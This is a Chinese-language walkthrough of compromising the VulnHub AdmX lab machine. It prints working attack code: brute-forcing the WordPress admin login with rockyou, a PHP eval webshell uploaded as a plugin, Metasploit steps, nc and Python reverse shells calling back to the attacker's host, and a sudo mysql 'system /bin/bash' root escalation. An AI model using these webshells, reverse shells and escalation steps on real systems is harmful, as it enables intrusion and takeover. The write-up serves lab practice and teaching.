• 写写打靶记录。
  • 靶机地址:https://download.vulnhub.com/admx/AdmX_new.7z
  • Vulnhub 的靶机都有一个特点,通常导入到 VMware Workstation 时都会获取不到 IP 地址,虽然可以进紧急模式中修改,但是太麻烦了,还是将 Kali 和靶机桥接吧。

信息收集

  • 由于将 Kali 与 VulnHub 使用 Virtual Box 仅主机网卡进行了桥接,所以使用 Kali 去扫描靶机。
  • 首先查看 Kali IP 地址:
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.56.105 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::adc5:106b:ff3c:9390 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:a8:8a:0b txqueuelen 1000 (Ethernet)
RX packets 24 bytes 10921 (10.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 549 bytes 40698 (39.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  • 扫描当前网段,发现靶机 IP 地址:
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# arp-scan 192.168.56.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a8:8a:0b, IPv4: 192.168.56.105
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:1a (Unknown: locally administered)
192.168.56.100 08:00:27:d7:55:29 PCS Systemtechnik GmbH
192.168.56.109 00:0c:29:23:07:8b VMware, Inc.

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.940 seconds (131.96 hosts/sec). 3 responded
  • 继续使用 Nmap 扫描端口、开放服务等信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.56.109
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 01:42 EST
Nmap scan report for 192.168.56.109
Host is up (0.00038s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:23:07:8B (VMware)

Nmap done: 1 IP address (1 host up) scanned in 117.67 seconds

┌──(root㉿kali)-[~]
└─# nmap -p 80 -sV 192.168.56.109
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 01:44 EST
Nmap scan report for 192.168.56.109
Host is up (0.00037s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
MAC Address: 00:0C:29:23:07:8B (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.65 seconds
  • 扫描出 8080 端口的 Web 服务,通常情况下不考虑 SSH 爆破,访问一下 Web 服务:

image-20230830234931326

目录爆破

  • 一个十分正常的 Apache 默认页面,使用 dirb 扫描一下站点目录:
1
dirb http://192.168.56.109/

image-20230830234958769

  • 发现一个 WordPress 目录,说明目标可能是由 WordPress 框架搭建的 Web 服务,代理挂到 BurpSuite 上进行查看:

    • 注:此处网卡出现问题,网卡连接至 NAT,地址为:192.168.1.139。
1
dirb http://192.168.1.139/ -p 127.0.0.1:8080

image-20230830235030368

  • 经过上述操作,发现访问 WordPress 目录时都是 3xx 的页面跳转行为:

image-20230830235044724

BurpSuite 匹配替换

  • 通过仔细查找,发现页面上还会去加载另一个 IP 地址资源,当访问 WordPress 页面是,会出现 Connecting to 192.168.159.145,说明是硬编码写入到页面中:

image-20230830235104825

  • 由于页面资源访问不到,查看后明显是本地资源,就是 IP 地址不对。

  • 这里有两种解决方式:

    • 修改靶机 IP 网段(太浪费时间了)
    • 使用 BurpSuite 进行 IP 地址替换
  • 依次点击 BurpSuite 中的:

    • Proxy

    • Options

    • 找到 Match and Replace(匹配和替换)

    • 点击 Add(两条,一条 Body,一条 Header)

      • Type:Response body 、Response header
      • Match:192.168.159.145
      • Replace:192.168.1.139

image-20230830235122289

  • 添加完后,刷新页面即可,页面访问正常(后续操作 BurpSuite 不要关):

image-20230830235131640

框架扫描

  • 既然已经知道目标站点是 WordPress,使用 WpScan 扫一下:
1
wpscan --url http://192.168.1.139/wordpress --proxy http://127.0.0.1:8080 --enumerate

image-20230830235147367

  • 发现存在用户 admin,根据前面目录扫描结果发现了管理员登录页面:
1
http://192.168.1.139/wordpress/wp-admin

image-20230830235202041

  • 当使用 admin 账号进行测试时,也证实了 admin 账户的存在:

image-20230830235217563

暴力破解

  • 使用 wpscan 进行暴力破解,前提需要先找到个好字典,这里使用 Kali 自带的 rockyou.txt:
1
2
3
4
5
6
# 解压一下
cd /usr/share/wordlist
gzip -d rockyou.txt.gz

# 开始破解
wpscan --url http://192.168.1.139/wordpress -U admin -P rockyou.txt --proxy http://127.0.0.1:8080

image-20230830235232661

  • 经过了漫长的等待,破解出密码:admin/adam14,成功进入后台:

image-20230830235247619

  • 为了查看方便,将其修改为中文:

image-20230830235255665

插件传马

  • 通常对于 wp 后台有以下几种利用方式:

    • 文件上传(只针对特定 wp 版本)
    • 模板注入(无法修改页面)
    • 插件上传
  • 现在本地编写 wp 插件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
/*
Plugin Name: WebShell
Plugin URI: https://yongz.github.io
Description: WP WebShell
Version: 1.0
Author: yonzg
Author URI: https://yongz.github.io
License: https://yongz.github.io
*/
if(isset($_REQUEST['cmd'])){
@eval($_REQUEST['cmd']);
}
?>

image-20230830235315340

  • 由于 wp 接收插件是 zip 格式,需要进行压缩:
1
2
3
┌──(root㉿kali)-[/tmp]
└─# zip shell.zip shell.php
adding: shell.php (deflated 38%)
  • 进行插件上传:

image-20230830235338061

image-20230830235340626

image-20230830235350015

image-20230830235354655

  • 插件已被启用,上传之后的访问地址为:
1
http://192.168.1.139/wordpress/wp-content/plugins/shell.php
  • 尝试是否能够进行命令执行:
1
http://192.168.1.139/wordpress/wp-content/plugins/shell.php?cmd=phpinfo();

image-20230830235417158

  • 命令执行成功~,使用蚁剑进行连接(蚁剑安装过程略):

image-20230830235426740

  • 连接成功!查找 flag 文件,在 /home/wpadmin 目录下找到了,但是权限不够,需要提权。

image-20230830235443152

MSF Shell 反弹

  • 同理,使用 MSF 进行 Shell 反弹:
1
2
3
4
5
6
7
8
9
msfconsole

search wp shell
use 9
set PASSWORD adam14
set RHOSTS 192.168.1.139
set TARGETURI /wordpress
set USERNAME admin
run

image-20230830235506399

  • 可以看出,也是使用插件上传的方式获取 Shell。

NC Shell 反弹

  • 通过提权三部曲:

    • 内核提权(Linux wp 5.4.0-72-generic #80-Ubuntu SMP Mon Apr 12 17:35:00 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 内核版本过高)
    • Sudo 提权(需要密码)
    • SUID 提权(没有符合的文件)
  • 那就只能接着去信息收集了,由于是 WP 框架,很有可能是 LAMP 环境,去翻翻配置文件:

1
cat /var/www/html/wordpress/wp-config.php

image-20230830235525893

  • 发现了数据库的账号密码:admin/Wp_Admin#123,登录一下:
1
mysql -uadmin -pWp_Admin#123
  • 结果发现,没啥用,蚁剑反弹的 Shell 没有回显。
  • 查看一下靶机是否安装有 NC:

image-20230830235543037

  • 发现存在 NC,但是是不带 -e 的版本。用 NC 串联反弹一个 Shell 回来:
1
2
3
4
5
6
# 在 Kali 上开启两个 nc 监听
nc -lvvp 4444
nc -lvvp 5555

# 在蚁剑上输入如下命令
nc 192.168.1.136 4444 | /bin/bash | nc 192.168.1.136 5555

image-20230830235555924

Python Shell 反弹

  • 反弹成功!但是也不能进行回显,改用 Python 反弹,编写脚本 1.py:
1
2
3
4
5
6
7
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.136",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);

image-20230830235611950

  • 反弹成功!并且可以进行交互,但是还是无法正常登陆 MySQL:

image-20230830235620492

Shell 升级

  • 此处需要升级一下 Shell:
1
2
3
4
5
6
7
8
9
10
11
12
# 查看一下 Kali 与 靶机 的当前 Shell
echo $0

┌──(root㉿kali)-[~]
└─# echo $0
/usr/bin/zsh

www-data@wp:/var/www/html/wordpress$ echo $0
echo $0
/bin/bash

# 发现两者 Shell 环境不一致
  • 开启升级操作:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 1. 修改 Kali Shell 环境为 bash
chsh -s /bin/bash

# 2. 修改后重启
reboot

# 3. 再次连接到 Python Shell,此处过程略

# 4. 连接 Shell 后使用 Ctrl + Z 将 Shell 挂起

# 5. Shell 挂起后输入如下命令改变本地终端设置,禁用 echo,关闭输入输出
stty raw -echo

# 6. 使用 fg 将刚才挂起的 Shell 调用到前台(此处 fg 命令在终端是不显示的)
fg

# 7. 使用 export 设置靶机终端的 Shell 环境变量
export SHELL=/bin/bash

# 8. 使用 export 进行清屏设置
export TERM=screen

# 9. 修改靶机终端大小
stty rows 38 columns 126

# 10. 重启靶机终端
reset
  • 但是,这种方法不知道为什么,不能用,绝了。

数据库查找

  • 但是的但是,经过我的多次尝试,在没回显的情况下,进入数据库在退出还是会有一定的回显:

image-20230830235654720

  • 意外之喜,经过多轮尝试,得到信息如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# show databases;

Database
information_schema
wordpress

# show tables;

Tables_in_wordpress
wp_commentmeta
wp_comments
wp_links
wp_options
wp_postmeta
wp_posts
wp_term_relationships
wp_term_taxonomy
wp_termmeta
wp_terms
wp_usermeta
wp_users

# select * from wp_users;
ID user_login user_pass user_nicename user_email user_url user_registered user_activation_key user_status display_name
1 admin $P$B1sw76mAze9nXcsYokmVjZ2y0zrTAR1 admin admin@wordpress.org http://192.168.159.145/wordpress 2021-05-11 07:30:47 0 admin
  • 淦,没卵用,目前已知的密码就俩:adam14、Wp_Admin#123。

密码复用

  • 看看密码能不能复用了,查看一下当前靶机的所有用户:
1
2
3
cat /etc/passwd
......
wpadmin:x:1001:1001::/home/wpadmin:/bin/bash
  • 那就用上面两个密码,切换一下用户:
1
su wpadmin

image-20230830235749048

  • 结果还真是,查看之前没权限查看的文件:
1
2
cat local.txt
153495edec1b606c24947b1335998bd9
  • 得到第一个 flag:153495edec1b606c24947b1335998bd9

SUDO 提权

  • 用于不是 root 账户,决定再次提权,之前 sudo 密码,现有了:
1
2
3
4
5
6
7
# sudo -l
Matching Defaults entries for wpadmin on wp:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wpadmin may run the following commands on wp:
(root) NOPASSWD: /usr/bin/mysql -u root -D wordpress -p
  • 可以看到在不需要密码的情况下执行 /usr/bin/mysql -u root -D wordpress -p 命令获得的是 root 权限(但其实还是需要密码)。
1
2
# 输入如下命令,密码随便输
sudo /usr/bin/mysql -u root -D wordpress -p
  • 在 MySQL 5.x 中增加了 system 命令(Linux),简单的符号是 !,从而使 MySQL 可以执行系统的命令,尝试一下:
1
system id; # uid=0(root) gid=0(root) groups=0(root)
  • 发现可以执行,那就直接切换 Shell:
1
2
3
4
5
system /bin/bash;
id # uid=0(root) gid=0(root) groups=0(root)
cd /root
ls # proof.txt snap
cat proof.txt # 7efd721c8bfff2937c66235f2d0dbac1
  • 找到第二个 flag:7efd721c8bfff2937c66235f2d0dbac1

注意事项